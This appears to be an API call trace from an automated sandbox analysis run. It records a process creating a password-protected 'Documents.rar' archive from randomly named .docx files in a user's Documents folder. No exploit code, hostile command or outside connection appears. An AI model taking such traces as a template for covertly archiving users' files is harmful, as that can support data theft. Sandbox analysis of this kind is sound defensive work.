lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.952] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.952] ResetEvent (hEvent=0x33c) returned 1 [0081.952] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.956] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.956] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.956] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.956] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xc55b [0081.956] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xc5bf [0081.956] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.956] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0081.957] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0081.957] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0081.958] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x18560, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x18560, lpOverlapped=0x0) returned 1 [0081.959] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.959] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.959] SetFilePointer (in: hFile=0x32c, lDistanceToMove=50523, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xc55b [0081.959] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xc55b [0081.959] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0081.959] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fe0 [0081.959] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fe0, Size=0x48) returned 0x1162e889530 [0081.959] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0081.959] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0081.959] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ea0 [0081.959] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0081.959] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889530 | out: hHeap=0x1162e7c0000) returned 1 [0081.959] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0081.959] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d10 [0081.959] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d10 | out: hHeap=0x1162e7c0000) returned 1 [0081.959] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c80 | out: hHeap=0x1162e7c0000) returned 1 [0081.959] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888720 [0081.959] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888720, Size=0x7a) returned 0x1162e7f45e0 [0081.959] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f45e3*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f45e3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x64, lpOverlapped=0x0) returned 1 [0081.960] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079da0 [0081.960] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x64) returned 0x1162e7fa2c0 [0081.960] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.960] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f45e0 | out: hHeap=0x1162e7c0000) returned 1 [0081.960] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x24b1f [0081.960] CloseHandle (hObject=0x350) returned 1 [0081.960] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.960] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.960] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.960] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.960] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\-4NjCVEIvkCBj.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.960] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.960] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\-4NjCVEIvkCBj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\-4njcveivkcbj.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.960] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.960] GetTickCount () returned 0x2a4c2 [0081.960] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.960] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.960] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0081.960] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.960] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="8CFpoZ DqeCI.doc") returned 16 [0081.961] SetWindowTextW (hWnd=0x10300, lpString="-4NjCVEIvkCBj.docx") returned 1 [0081.961] GetTickCount () returned 0x2a4c2 [0081.961] UpdateWindow (hWnd=0x102f8) returned 1 [0081.961] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.961] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x1162e894b50) returned 1 [0081.961] CryptGenRandom (in: hProv=0x1162e894b50, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.961] CryptReleaseContext (hProv=0x1162e894b50, dwFlags=0x0) returned 1 [0081.961] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x1bc)) [0081.961] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.961] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17329009933) returned 1 [0081.962] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x11c65, lpOverlapped=0x0) returned 1 [0081.962] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9fca5, nNumberOfBytesToRead=0xee39b, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9fca5*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.962] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.962] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.962] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0081.962] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0081.962] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x48) returned 0x1162e888ea0 [0081.962] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0081.962] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b30 [0081.962] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b30, Size=0x48) returned 0x1162e888900 [0081.963] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0081.963] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.963] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bf0 [0081.963] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0081.963] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a040 | out: hHeap=0x1162e7c0000) returned 1 [0081.963] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bf0 | out: hHeap=0x1162e7c0000) returned 1 [0081.963] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e889440 [0081.963] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889440, Size=0x7c) returned 0x1162e7f4e50 [0081.963] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0081.963] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0081.967] GetTickCount () returned 0x2a4d1 [0081.967] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17329562430) returned 1 [0081.967] GetTickCount () returned 0x2a4d1 [0081.967] GetTickCount () returned 0x2a4d1 [0081.967] GetTickCount () returned 0x2a4d1 [0081.967] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.967] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.967] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.967] ResetEvent (hEvent=0x344) returned 1 [0081.967] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.969] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.969] ResetEvent (hEvent=0x344) returned 1 [0081.969] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.971] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.971] ResetEvent (hEvent=0x344) returned 1 [0081.971] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.973] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.973] GetTickCount () returned 0x2a4d1 [0081.973] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17330182227) returned 1 [0081.973] GetTickCount () returned 0x2a4d1 [0081.973] GetTickCount () returned 0x2a4d1 [0081.973] GetTickCount () returned 0x2a4d1 [0081.973] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.973] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.973] ResetEvent (hEvent=0x33c) returned 1 [0081.973] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.974] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.974] ResetEvent (hEvent=0x33c) returned 1 [0081.974] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.975] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.975] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.976] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.976] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x24b1f [0081.976] SetFilePointer (in: hFile=0x32c, lDistanceToMove=121, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x24b98 [0081.976] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.976] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0081.976] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0081.976] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0081.976] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x11d00, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x11d00, lpOverlapped=0x0) returned 1 [0081.977] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.977] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.977] SetFilePointer (in: hFile=0x32c, lDistanceToMove=150303, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x24b1f [0081.977] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x24b1f [0081.977] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0081.977] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0081.977] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888900 [0081.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0081.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0081.978] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888680 [0081.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0081.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0081.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079dd0 [0081.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079cb0 [0081.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079cb0 | out: hHeap=0x1162e7c0000) returned 1 [0081.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079dd0 | out: hHeap=0x1162e7c0000) returned 1 [0081.978] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e888ea0 [0081.978] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7c) returned 0x1162e7f44c0 [0081.978] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f44c3*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f44c3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x79, lpOverlapped=0x0) returned 1 [0081.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a010 [0081.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x79) returned 0x1162e7f4550 [0081.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0081.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f44c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.978] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x36898 [0081.978] CloseHandle (hObject=0x350) returned 1 [0081.978] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.978] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.978] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.978] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.978] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.979] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.979] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\l7td5trgfxzow kf6h0.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.979] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.979] GetTickCount () returned 0x2a4d1 [0081.979] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.979] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.979] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0081.979] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.979] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="-4NjCVEIvkCBj.docx") returned 18 [0081.979] SetWindowTextW (hWnd=0x10300, lpString="l7Td5TRgfXzOW kF6H0.docx") returned 1 [0081.980] GetTickCount () returned 0x2a4e1 [0081.980] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0081.980] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0081.980] GetFocus () returned 0x1031c [0081.980] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0081.981] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7180) returned 1 [0081.981] CryptGenRandom (in: hProv=0x116320a7180, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.981] CryptReleaseContext (hProv=0x116320a7180, dwFlags=0x0) returned 1 [0081.981] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x1db)) [0081.981] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.981] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17330982924) returned 1 [0081.981] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x12834, lpOverlapped=0x0) returned 1 [0081.982] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba0874, nNumberOfBytesToRead=0xed7cc, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba0874*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.982] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0081.982] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0081.982] GetFocus () returned 0x1031c [0081.982] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0081.982] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.982] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0081.982] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0081.982] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x48) returned 0x1162e888ea0 [0081.982] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0081.982] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ef0 [0081.982] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ef0, Size=0x48) returned 0x1162e888950 [0081.982] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0081.982] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.982] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ef0 [0081.982] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d70 [0081.983] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d70 | out: hHeap=0x1162e7c0000) returned 1 [0081.983] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ef0 | out: hHeap=0x1162e7c0000) returned 1 [0081.983] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e888900 [0081.983] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888900, Size=0x82) returned 0x1162e7f4e50 [0081.983] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888950 | out: hHeap=0x1162e7c0000) returned 1 [0081.983] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0081.985] GetTickCount () returned 0x2a4e1 [0081.985] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17331326499) returned 1 [0081.985] GetTickCount () returned 0x2a4e1 [0081.985] GetTickCount () returned 0x2a4e1 [0081.985] GetTickCount () returned 0x2a4e1 [0081.985] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 